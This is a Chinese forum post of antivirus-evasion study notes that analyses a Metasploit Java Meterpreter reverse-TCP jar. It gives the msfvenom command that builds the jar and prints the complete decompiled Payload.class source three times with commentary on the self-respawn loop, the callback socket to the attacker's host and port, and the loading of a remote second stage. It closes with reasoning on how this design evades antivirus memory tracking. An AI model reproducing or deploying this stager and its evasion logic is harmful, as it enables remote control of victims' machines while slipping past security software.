shanque免杀学习笔记day2-day6

F0re4t   ·   发表于 2022-06-04 22:10:10   ·   技术文章

msfshellcode上线流程分析

1.生成木马

  1. msfvenom -p java/meterpreter/reverse_tcp LHOST=10.0.3.4 LPORT=4444 > 1.jar


2.拖到本机,反编译一下


cmd :java -jar jd-gui-1.6.6.jar


可以看到有三个文件

MANIFEST.MF

  1. Manifest-Version: 1.0
  2. Main-Class: metasploit.Payload //定义了jar包从这个地方开始加载
  3. Permissions: all-permissions
  4. Name: metasploit.dat
  5. Name: metasploit/Payload.class

metasploit.dat

  1. Spawn=2
  2. LHOST=10.0.3.4 回连ip地址
  3. LPORT=4444 回连端口

payload.class

  1. package metasploit;
  2. import java.io.ByteArrayInputStream;
  3. import java.io.ByteArrayOutputStream;
  4. import java.io.DataInputStream;
  5. import java.io.File;
  6. import java.io.FileNotFoundException;
  7. import java.io.FileOutputStream;
  8. import java.io.IOException;
  9. import java.io.InputStream;
  10. import java.io.OutputStream;
  11. import java.io.PrintStream;
  12. import java.net.ServerSocket;
  13. import java.net.Socket;
  14. import java.net.URL;
  15. import java.net.URLConnection;
  16. import java.security.AllPermission;
  17. import java.security.CodeSource;
  18. import java.security.Permissions;
  19. import java.security.ProtectionDomain;
  20. import java.util.Enumeration;
  21. import java.util.Locale;
  22. import java.util.Properties;
  23. import java.util.Stack;
  24. import java.util.StringTokenizer;
  25. public class Payload extends ClassLoader {
  26. //获取当前的操作系统 windows10
  27. private static final String OS_NAME = System.getProperty("os.name").toLowerCase(Locale.ENGLISH);
  28. //获取路径的分割符 ;
  29. private static final String PATH_SEP = System.getProperty("path.separator");
  30. //判断是否是AIX(是否基于unix) false
  31. private static final boolean IS_AIX = "aix".equals(OS_NAME);
  32. //判断路径的分割符是否是 ; true
  33. private static final boolean IS_DOS = PATH_SEP.equals(";");
  34. // 获取java的安装路径 C:\Program Files\Java\jre1.8.0_211
  35. private static final String JAVA_HOME = System.getProperty("java.home");
  36. public static void main(String[] paramArrayOfString) throws Exception {
  37. //读写配置文件
  38. Properties properties = new Properties();
  39. //通过反射获取payload类 clazz:'class metasploit.payload' 看截图可以看到payload类在metasploit下面
  40. Class<Payload> clazz = Payload.class;
  41. //定义一个str1,值为上面的 metasploit.payload,然后把.变成/,把文件后缀改为.class。 str1:'metasploit\payload.class',实际是获取文件的路径
  42. String str1 = clazz.getName().replace('.', '/') + ".class";
  43. //创建io加载配置文件properties,也就是把metasploit.dat里面的内容读到inputstream里面。
  44. InputStream inputStream = clazz.getResourceAsStream("/metasploit.dat");
  45. if (inputStream != null) { //dat文件存在,不等于空
  46. properties.load(inputStream); //把inputstream流里面的内容读到properties这个对象里面
  47. inputStream.close(); //关闭io流
  48. }
  49. 上面就做了一件事,把dat文件的内容通过io流去读到properties里面。
  50. //定义一个str2,把dat文件里Executable字段赋值给它。但是看dat文件里的内容发现没有这个字段,所以str2 = null
  51. String str2 = properties.getProperty("Executable");
  52. if (str2 != null) { //判断str2不为空 false
  53. //创建一个前缀为~spawn,后缀为.tmp的文件file1( File.createTempFile是jdk自带API,作用是获取系统的tmp目录)
  54. File file1 = File.createTempFile("~spawn", ".tmp");
  55. file1.delete(); //删除file1???
  56. File file2 = new File(file1.getAbsolutePath() + ".dir"); //创建一个file2,获取file1的绝对路径加上后缀.dir,file2:~spawnXXXX.tmp.dir
  57. file2.mkdir();//创建file2
  58. File file3 = new File(file2, str2); //下面不想分析了,反正这个if也走不进来。。。
  59. writeEmbeddedFile(clazz, str2, file3);
  60. properties.remove("Executable");//删除Executable字段
  61. properties.put("DroppedExecutable", file3.getCanonicalPath());//加一个新的Executable进来,返回file3的绝对路径
  62. }
  63. // 获取配置文件中spawn的值,现在spawn=2,没有获取到的时候是0,int i = 2
  64. int i = Integer.parseInt(properties.getProperty("Spawn", "0"));
  65. //str2不为空走了if才有str3,所以现在str3为空
  66. String str3 = properties.getProperty("DroppedExecutable");
  67. if (i > 0) { // 如果i不为0,i=2>0
  68. //把配置文件中spawn的值减一再放回去,spawn=1
  69. properties.setProperty("Spawn", String.valueOf(i - 1));
  70. //再tmp目录下创建file1,~spawnXXX.tmp
  71. File file1 = File.createTempFile("~spawn", ".tmp");
  72. file1.delete(); //删除file1
  73. //获取file1也就是temp目录的绝对路径,创建file2:c:\temp\~spawnXXXX.tmp.dir
  74. File file2 = new File(file1.getAbsolutePath() + ".dir");
  75. //往file2里创建一个file3,file3=c:\temp\~spawnXXXX.tmp.dir\metasploit.dat
  76. File file3 = new File(file2, "metasploit.dat");
  77. //往file2里面创建一个file4,取前面定义的str1的值,file4=c:\temp\~spawnXXXX.tmp.dir\metasploit\payload.class
  78. File file4 = new File(file2, str1);
  79. file4.getParentFile().mkdirs();//创建文件夹
  80. writeEmbeddedFile(clazz, str1, file4);//写文件进去
  81. //至此上面的部分就是在临时文件目录创建了一个一模一样的文件夹,把paylod和dat复制了过去,然后dat文件中spawn的值由2变成了1。
  82. if (properties.getProperty("URL", "").startsWith("https:"))//配置文件dat中没有URL,不进这个if
  83. writeEmbeddedFile(clazz, "metasploit/PayloadTrustManager.class", new File(file4.getParentFile(), "PayloadTrustManager.class"));
  84. if (properties.getProperty("AESPassword", (String)null) != null)//配置文件中也没有aespassword,不进这个if
  85. writeEmbeddedFile(clazz, "metasploit/AESEncryption.class", new File(file4.getParentFile(), "AESEncryption.class"));
  86. FileOutputStream fileOutputStream = new FileOutputStream(file3);
  87. properties.store(fileOutputStream, "");
  88. fileOutputStream.close();
  89. //调用runtime接口执行系统命令,定义一个新的数组[java -classpath file2的绝对路径(c:\temp\~spawnXXXX.tmp.dir) clazz的名字(metasploit\payload.class)],
  90. //也就是让系统去执行了"java -classpath c:\temp\~spawnXXXX.tmp.dir\metasploit\payload.class" 这样一个命令,去运行payload.class。
  91. Process process = Runtime.getRuntime().exec(new String[] { getJreExecutable("java"), "-classpath", file2.getAbsolutePath(), clazz.getName() });
  92. process.getInputStream().close();
  93. process.getErrorStream().close();
  94. //至此进程结束,木马文件自杀,但是在死前又运行了拷贝到临时文件下的一模一样的自己,唯一变化是配置文件dat中的spawn变成了1。

第二次运行分析

  1. package metasploit;
  2. import java.io.ByteArrayInputStream;
  3. import java.io.ByteArrayOutputStream;
  4. import java.io.DataInputStream;
  5. import java.io.File;
  6. import java.io.FileNotFoundException;
  7. import java.io.FileOutputStream;
  8. import java.io.IOException;
  9. import java.io.InputStream;
  10. import java.io.OutputStream;
  11. import java.io.PrintStream;
  12. import java.net.ServerSocket;
  13. import java.net.Socket;
  14. import java.net.URL;
  15. import java.net.URLConnection;
  16. import java.security.AllPermission;
  17. import java.security.CodeSource;
  18. import java.security.Permissions;
  19. import java.security.ProtectionDomain;
  20. import java.util.Enumeration;
  21. import java.util.Locale;
  22. import java.util.Properties;
  23. import java.util.Stack;
  24. import java.util.StringTokenizer;
  25. public class Payload extends ClassLoader {
  26. //获取当前的操作系统 windows10
  27. private static final String OS_NAME = System.getProperty("os.name").toLowerCase(Locale.ENGLISH);
  28. //获取路径的分割符 ;
  29. private static final String PATH_SEP = System.getProperty("path.separator");
  30. //判断是否是AIX(是否基于unix) false
  31. private static final boolean IS_AIX = "aix".equals(OS_NAME);
  32. //判断路径的分割符是否是 ; true
  33. private static final boolean IS_DOS = PATH_SEP.equals(";");
  34. // 获取java的安装路径 C:\Program Files\Java\jre1.8.0_211
  35. private static final String JAVA_HOME = System.getProperty("java.home");
  36. public static void main(String[] paramArrayOfString) throws Exception {
  37. //读写配置文件
  38. Properties properties = new Properties();
  39. //通过反射获取payload类 clazz:'class metasploit.payload' 看截图可以看到payload类在metasploit下面
  40. Class<Payload> clazz = Payload.class;
  41. //定义一个str1,值为上面的 metasploit.payload,然后把.变成/,把文件后缀改为.class。 str1:'metasploit\payload.class',实际是获取文件的路径
  42. String str1 = clazz.getName().replace('.', '/') + ".class";
  43. //创建io加载配置文件properties,也就是把metasploit.dat里面的内容读到inputstream里面。
  44. InputStream inputStream = clazz.getResourceAsStream("/metasploit.dat");
  45. if (inputStream != null) { //dat文件存在,不等于空
  46. properties.load(inputStream); //把inputstream流里面的内容读到properties这个对象里面
  47. inputStream.close(); //关闭io流
  48. }
  49. 上面就做了一件事,把dat文件的内容通过io流去读到properties里面。
  50. //定义一个str2,把dat文件里Executable字段赋值给它。但是看dat文件里的内容发现没有这个字段,所以str2 = null
  51. String str2 = properties.getProperty("Executable");
  52. if (str2 != null) { //判断str2不为空 false
  53. //创建一个前缀为~spawn,后缀为.tmp的文件file1( File.createTempFile是jdk自带API,作用是获取系统的tmp目录)
  54. File file1 = File.createTempFile("~spawn", ".tmp");
  55. file1.delete(); //删除file1???
  56. File file2 = new File(file1.getAbsolutePath() + ".dir"); //创建一个file2,获取file1的绝对路径加上后缀.dir,file2:~spawnXXXX.tmp.dir
  57. file2.mkdir();//创建file2
  58. File file3 = new File(file2, str2); //下面不想分析了,反正这个if也走不进来。。。
  59. writeEmbeddedFile(clazz, str2, file3);
  60. properties.remove("Executable");//删除Executable字段
  61. properties.put("DroppedExecutable", file3.getCanonicalPath());//加一个新的Executable进来,返回file3的绝对路径
  62. }
  63. // 获取配置文件中spawn的值,现在spawn=1,没有获取到的时候是0,int i = 1
  64. int i = Integer.parseInt(properties.getProperty("Spawn", "0"));
  65. //str2不为空走了if才有str3,所以现在str3为空
  66. String str3 = properties.getProperty("DroppedExecutable");
  67. if (i > 0) { // 如果i不为0,i=1>0
  68. //把配置文件中spawn的值减一再放回去,spawn=0
  69. properties.setProperty("Spawn", String.valueOf(i - 1));
  70. //再tmp目录下创建file1,~spawnXXX.tmp
  71. File file1 = File.createTempFile("~spawn", ".tmp");
  72. file1.delete(); //删除file1
  73. //获取file1也就是temp目录的绝对路径,创建file2:c:\temp\~spawnXXXX.tmp.dir
  74. File file2 = new File(file1.getAbsolutePath() + ".dir");
  75. //往file2里创建一个file3,file3=c:\temp\~spawnXXXX.tmp.dir\metasploit.dat
  76. File file3 = new File(file2, "metasploit.dat");
  77. //往file2里面创建一个file4,取前面定义的str1的值,file4=c:\temp\~spawnXXXX.tmp.dir\metasploit\payload.class
  78. File file4 = new File(file2, str1);
  79. file4.getParentFile().mkdirs();//创建文件夹
  80. writeEmbeddedFile(clazz, str1, file4);//写文件进去
  81. //至此上面的部分就是在临时文件目录创建了一个一模一样的文件夹,把paylod和dat复制了过去,然后dat文件中spawn的值由2变成了1。
  82. if (properties.getProperty("URL", "").startsWith("https:"))//配置文件dat中没有URL,不进这个if
  83. writeEmbeddedFile(clazz, "metasploit/PayloadTrustManager.class", new File(file4.getParentFile(), "PayloadTrustManager.class"));
  84. if (properties.getProperty("AESPassword", (String)null) != null)//配置文件中也没有aespassword,不进这个if
  85. writeEmbeddedFile(clazz, "metasploit/AESEncryption.class", new File(file4.getParentFile(), "AESEncryption.class"));
  86. FileOutputStream fileOutputStream = new FileOutputStream(file3);
  87. properties.store(fileOutputStream, "");
  88. fileOutputStream.close();
  89. //调用runtime接口执行系统命令,定义一个新的数组[java -classpath file2的绝对路径(c:\temp\~spawnXXXX.tmp.dir) clazz的名字(metasploit\payload.class)],
  90. //也就是让系统去执行了"java -classpath c:\temp\~spawnXXXX.tmp.dir\metasploit\payload.class" 这样一个命令,去运行payload.class。
  91. Process process = Runtime.getRuntime().exec(new String[] { getJreExecutable("java"), "-classpath", file2.getAbsolutePath(), clazz.getName() });
  92. process.getInputStream().close();
  93. process.getErrorStream().close();
  94. Thread.sleep(2000L);
  95. File[] arrayOfFile = { file4, file4.getParentFile(), file3, file2 };
  96. for (byte b = 0; b < arrayOfFile.length; b++) {
  97. for (byte b1 = 0; b1 < 10 && !arrayOfFile[b].delete(); b1++) {
  98. arrayOfFile[b].deleteOnExit();
  99. Thread.sleep(100L);
  100. }
  101. }
  102. //至此次生进程再次结束,木马文件自杀,但是在死前又运行了拷贝到临时文件下的一模一样的自己。唯一的变化是新生成的dat文件里spawn变成了0.

第三次循环分析

  1. package metasploit;
  2. import java.io.ByteArrayInputStream;
  3. import java.io.ByteArrayOutputStream;
  4. import java.io.DataInputStream;
  5. import java.io.File;
  6. import java.io.FileNotFoundException;
  7. import java.io.FileOutputStream;
  8. import java.io.IOException;
  9. import java.io.InputStream;
  10. import java.io.OutputStream;
  11. import java.io.PrintStream;
  12. import java.net.ServerSocket;
  13. import java.net.Socket;
  14. import java.net.URL;
  15. import java.net.URLConnection;
  16. import java.security.AllPermission;
  17. import java.security.CodeSource;
  18. import java.security.Permissions;
  19. import java.security.ProtectionDomain;
  20. import java.util.Enumeration;
  21. import java.util.Locale;
  22. import java.util.Properties;
  23. import java.util.Stack;
  24. import java.util.StringTokenizer;
  25. public class Payload extends ClassLoader {
  26. //获取当前的操作系统 windows10
  27. private static final String OS_NAME = System.getProperty("os.name").toLowerCase(Locale.ENGLISH);
  28. //获取路径的分割符 ;
  29. private static final String PATH_SEP = System.getProperty("path.separator");
  30. //判断是否是AIX(是否基于unix) false
  31. private static final boolean IS_AIX = "aix".equals(OS_NAME);
  32. //判断路径的分割符是否是 ; true
  33. private static final boolean IS_DOS = PATH_SEP.equals(";");
  34. // 获取java的安装路径 C:\Program Files\Java\jre1.8.0_211
  35. private static final String JAVA_HOME = System.getProperty("java.home");
  36. public static void main(String[] paramArrayOfString) throws Exception {
  37. //读写配置文件
  38. Properties properties = new Properties();
  39. //通过反射获取payload类 clazz:'class metasploit.payload' 看截图可以看到payload类在metasploit下面
  40. Class<Payload> clazz = Payload.class;
  41. //定义一个str1,值为上面的 metasploit.payload,然后把.变成/,把文件后缀改为.class。 str1:'metasploit\payload.class',实际是获取文件的路径
  42. String str1 = clazz.getName().replace('.', '/') + ".class";
  43. //创建io加载配置文件properties,也就是把metasploit.dat里面的内容读到inputstream里面。
  44. InputStream inputStream = clazz.getResourceAsStream("/metasploit.dat");
  45. if (inputStream != null) { //dat文件存在,不等于空
  46. properties.load(inputStream); //把inputstream流里面的内容读到properties这个对象里面
  47. inputStream.close(); //关闭io流
  48. }
  49. 上面就做了一件事,把dat文件的内容通过io流去读到properties里面。
  50. //定义一个str2,把dat文件里Executable字段赋值给它。但是看dat文件里的内容发现没有这个字段,所以str2 = null
  51. String str2 = properties.getProperty("Executable");
  52. if (str2 != null) { //判断str2不为空 false
  53. //创建一个前缀为~spawn,后缀为.tmp的文件file1( File.createTempFile是jdk自带API,作用是获取系统的tmp目录)
  54. File file1 = File.createTempFile("~spawn", ".tmp");
  55. file1.delete(); //删除file1???
  56. File file2 = new File(file1.getAbsolutePath() + ".dir"); //创建一个file2,获取file1的绝对路径加上后缀.dir,file2:~spawnXXXX.tmp.dir
  57. file2.mkdir();//创建file2
  58. File file3 = new File(file2, str2); //下面不想分析了,反正这个if也走不进来。。。
  59. writeEmbeddedFile(clazz, str2, file3);
  60. properties.remove("Executable");//删除Executable字段
  61. properties.put("DroppedExecutable", file3.getCanonicalPath());//加一个新的Executable进来,返回file3的绝对路径
  62. }
  63. // 获取配置文件中spawn的值,现在spawn=0,没有获取到的时候是0,int i = 0
  64. int i = Integer.parseInt(properties.getProperty("Spawn", "0"));
  65. //str2不为空走了if才有str3,所以现在str3为空
  66. String str3 = properties.getProperty("DroppedExecutable");
  67. if (i > 0) { // 如果i不为0,i=0 !> 0
  68. //不进入if了
  69. properties.setProperty("Spawn", String.valueOf(i - 1));
  70. File file1 = File.createTempFile("~spawn", ".tmp");
  71. file1.delete();
  72. File file2 = new File(file1.getAbsolutePath() + ".dir");
  73. File file3 = new File(file2, "metasploit.dat");
  74. File file4 = new File(file2, str1);
  75. file4.getParentFile().mkdirs();
  76. writeEmbeddedFile(clazz, str1, file4);
  77. if (properties.getProperty("URL", "").startsWith("https:"))
  78. writeEmbeddedFile(clazz, "metasploit/PayloadTrustManager.class", new File(file4.getParentFile(), "PayloadTrustManager.class"));
  79. if (properties.getProperty("AESPassword", (String)null) != null)
  80. writeEmbeddedFile(clazz, "metasploit/AESEncryption.class", new File(file4.getParentFile(), "AESEncryption.class"));
  81. FileOutputStream fileOutputStream = new FileOutputStream(file3);
  82. properties.store(fileOutputStream, "");
  83. fileOutputStream.close();
  84. Process process = Runtime.getRuntime().exec(new String[] { getJreExecutable("java"), "-classpath", file2.getAbsolutePath(), clazz.getName() });
  85. process.getInputStream().close();
  86. process.getErrorStream().close();
  87. Thread.sleep(2000L);
  88. File[] arrayOfFile = { file4, file4.getParentFile(), file3, file2 };
  89. for (byte b = 0; b < arrayOfFile.length; b++) {
  90. for (byte b1 = 0; b1 < 10 && !arrayOfFile[b].delete(); b1++) {
  91. arrayOfFile[b].deleteOnExit();
  92. Thread.sleep(100L);
  93. }
  94. }
  95. //第三次的payload跳过了自杀走到了这里
  96. } else if (str3 != null) { //str3还是空,也不进else if
  97. File file = new File(str3);
  98. if (!IS_DOS)
  99. try {
  100. try {
  101. File.class.getMethod("setExecutable", new Class[] { boolean.class }).invoke(file, new Object[] { Boolean.TRUE });
  102. } catch (NoSuchMethodException noSuchMethodException) {
  103. Runtime.getRuntime().exec(new String[] { "chmod", "+x", str3 }).waitFor();
  104. }
  105. } catch (Exception exception) {
  106. exception.printStackTrace();
  107. }
  108. Runtime.getRuntime().exec(new String[] { str3 });
  109. if (!IS_DOS) {
  110. file.delete();
  111. file.getParentFile().delete();
  112. }
  113. } else { //从这里开始走
  114. OutputStream outputStream;
  115. int j = Integer.parseInt(properties.getProperty("LPORT", "4444")); //获取配置文件dat中的回连的端口LPORT为 int j
  116. String str4 = properties.getProperty("LHOST", (String)null); // 获取回连的地址为 str4
  117. String str5 = properties.getProperty("URL", (String)null); //获取回连的url为str5,但是配置文件中并没有,所以str5=null
  118. InputStream inputStream1 = null;
  119. if (j <= 0) { //j = 4444 false,不进if
  120. inputStream1 = System.in;
  121. outputStream = System.out;
  122. } else if (str5 != null) { //str5 != null false也不进这个
  123. if (str5.startsWith("raw:")) {
  124. inputStream1 = new ByteArrayInputStream(str5.substring(4).getBytes("ISO-8859-1"));
  125. } else if (str5.startsWith("http")) {
  126. URLConnection uRLConnection = (new URL(str5)).openConnection();
  127. if (str5.startsWith("https:"))
  128. Class.forName("metasploit.PayloadTrustManager").getMethod("useFor", new Class[] { URLConnection.class }).invoke(null, new Object[] { uRLConnection });
  129. addRequestHeaders(uRLConnection, properties);
  130. inputStream1 = uRLConnection.getInputStream();
  131. }
  132. outputStream = new ByteArrayOutputStream();
  133. } else {
  134. Socket socket;
  135. if (str4 != null) { //上面的if都不进,str4 != null true ,进这个if
  136. socket = new Socket(str4, j); //建立新的socket连接,值为回连地址和端口
  137. } else {
  138. ServerSocket serverSocket = new ServerSocket(j);
  139. socket = serverSocket.accept();
  140. serverSocket.close();
  141. }
  142. inputStream1 = socket.getInputStream(); //读取socket的输入流
  143. outputStream = socket.getOutputStream();//读取socket的输出流
  144. }
  145. String str6 = properties.getProperty("AESPassword", (String)null);
  146. if (str6 != null) {
  147. Object[] arrayOfObject = (Object[])Class.forName("metasploit.AESEncryption").getMethod("wrapStreams", new Class[] { InputStream.class, OutputStream.class, String.class }).invoke(null, new Object[] { inputStream1, outputStream, str6 });
  148. inputStream1 = (InputStream)arrayOfObject[0];
  149. outputStream = (OutputStream)arrayOfObject[1];
  150. }
  151. StringTokenizer stringTokenizer = new StringTokenizer("Payload -- " + properties.getProperty("StageParameters", ""), " ");
  152. String[] arrayOfString = new String[stringTokenizer.countTokens()];
  153. for (byte b = 0; b < arrayOfString.length; b++)
  154. arrayOfString[b] = stringTokenizer.nextToken();
  155. (new Payload()).bootstrap(inputStream1, outputStream, properties.getProperty("EmbeddedStage", (String)null), arrayOfString);
  156. }
  157. }
  158. private static void addRequestHeaders(URLConnection paramURLConnection, Properties paramProperties) {
  159. Enumeration<?> enumeration = paramProperties.propertyNames();
  160. while (enumeration.hasMoreElements()) {
  161. Object object = enumeration.nextElement();
  162. if (object instanceof String) {
  163. String str = (String)object;
  164. if (str.startsWith("Header"))
  165. paramURLConnection.addRequestProperty(str.substring(6), paramProperties.getProperty(str));
  166. }
  167. }
  168. }
  169. private static void writeEmbeddedFile(Class paramClass, String paramString, File paramFile) throws FileNotFoundException, IOException {
  170. InputStream inputStream = paramClass.getResourceAsStream("/" + paramString);
  171. FileOutputStream fileOutputStream = new FileOutputStream(paramFile);
  172. byte[] arrayOfByte = new byte[4096];
  173. int i;
  174. while ((i = inputStream.read(arrayOfByte)) != -1)
  175. fileOutputStream.write(arrayOfByte, 0, i);
  176. fileOutputStream.close();
  177. }
  178. private final void bootstrap(InputStream paramInputStream, OutputStream paramOutputStream, String paramString, String[] paramArrayOfString) throws Exception {
  179. try {
  180. Class<?> clazz;
  181. DataInputStream dataInputStream = new DataInputStream(paramInputStream);
  182. Permissions permissions = new Permissions();
  183. permissions.add(new AllPermission());
  184. ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new java.security.cert.Certificate[0]), permissions);
  185. if (paramString == null) {
  186. int i = dataInputStream.readInt();
  187. do {
  188. byte[] arrayOfByte = new byte[i];
  189. dataInputStream.readFully(arrayOfByte);
  190. resolveClass(clazz = defineClass(null, arrayOfByte, 0, i, protectionDomain));
  191. i = dataInputStream.readInt();
  192. } while (i > 0);
  193. } else {
  194. clazz = Class.forName("javapayload.stage." + paramString);
  195. }
  196. Object object = clazz.newInstance();
  197. clazz.getMethod("start", new Class[] { DataInputStream.class, OutputStream.class, String[].class }).invoke(object, new Object[] { dataInputStream, paramOutputStream, paramArrayOfString });
  198. } catch (Throwable throwable) {
  199. throwable.printStackTrace(new PrintStream(paramOutputStream));
  200. }
  201. }
  202. private static String getJreExecutable(String paramString) {
  203. File file = null;
  204. if (IS_AIX)
  205. file = findInDir(JAVA_HOME + "/sh", paramString);
  206. if (file == null)
  207. file = findInDir(JAVA_HOME + "/bin", paramString);
  208. return (file != null) ? file.getAbsolutePath() : addExtension(paramString);
  209. }
  210. private static String addExtension(String paramString) {
  211. return paramString + (IS_DOS ? ".exe" : "");
  212. }
  213. private static File findInDir(String paramString1, String paramString2) {
  214. File file1 = normalize(paramString1);
  215. File file2 = null;
  216. if (file1.exists()) {
  217. file2 = new File(file1, addExtension(paramString2));
  218. if (!file2.exists())
  219. file2 = null;
  220. }
  221. return file2;
  222. }
  223. private static File normalize(String paramString) {
  224. Stack<String> stack = new Stack();
  225. String[] arrayOfString = dissect(paramString);
  226. stack.push(arrayOfString[0]);
  227. StringTokenizer stringTokenizer = new StringTokenizer(arrayOfString[1], File.separator);
  228. while (stringTokenizer.hasMoreTokens()) {
  229. String str = stringTokenizer.nextToken();
  230. if (".".equals(str))
  231. continue;
  232. if ("..".equals(str)) {
  233. if (stack.size() < 2)
  234. return new File(paramString);
  235. stack.pop();
  236. continue;
  237. }
  238. stack.push(str);
  239. }
  240. StringBuilder stringBuilder = new StringBuilder();
  241. for (byte b = 0; b < stack.size(); b++) {
  242. if (b > 1)
  243. stringBuilder.append(File.separatorChar);
  244. stringBuilder.append(stack.elementAt(b));
  245. }
  246. return new File(stringBuilder.toString());
  247. }
  248. private static String[] dissect(String paramString) {
  249. char c = File.separatorChar;
  250. paramString = paramString.replace('/', c).replace('\\', c);
  251. String str = null;
  252. int i = paramString.indexOf(':');
  253. if (i > 0 && IS_DOS) {
  254. int j = i + 1;
  255. str = paramString.substring(0, j);
  256. char[] arrayOfChar = paramString.toCharArray();
  257. str = str + c;
  258. j = (arrayOfChar[j] == c) ? (j + 1) : j;
  259. StringBuilder stringBuilder = new StringBuilder();
  260. for (int k = j; k < arrayOfChar.length; k++) {
  261. if (arrayOfChar[k] != c || arrayOfChar[k - 1] != c)
  262. stringBuilder.append(arrayOfChar[k]);
  263. }
  264. paramString = stringBuilder.toString();
  265. } else if (paramString.length() > 1 && paramString.charAt(1) == c) {
  266. int j = paramString.indexOf(c, 2);
  267. j = paramString.indexOf(c, j + 1);
  268. str = (j > 2) ? paramString.substring(0, j + 1) : paramString;
  269. paramString = paramString.substring(str.length());
  270. } else {
  271. str = File.separator;
  272. paramString = paramString.substring(1);
  273. }
  274. return new String[] { str, paramString };
  275. }
  276. }
  277. /* Location: F:\免杀\java反编译\1.jar!\metasploit\Payload.class
  278. * Java compiler version: 5 (49.0)
  279. * JD-Core Version: 1.1.3
  280. */

到此分析代码分析结束,那么进行三次内存循环的意义在哪呢?
躲避杀软:如果一上来就建立socket连接,大马拉回来上线肯定要被杀。
内存循环三次的意义是为了躲避杀软内存的追踪。
小马拉大马:
1.尽量减少特征
2.文件小(如果把大马的核心逻辑写到小马里面,文件就会很大,但是通过小马建立socket连接再从服务器上把大马拉回来体积就会很小)

反编译好的压缩包放附件了,直接everyedit打开就行。

用户名金币积分时间理由
Track-劲夫 100.00 0 2022-06-06 19:07:11 一个受益终生的帖子~~

打赏我,让我更有动力~

附件列表

1.jar.src.zip   文件大小:0.004M (下载次数:1)

0 条回复   |  直到 2022-6-4 | 618 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.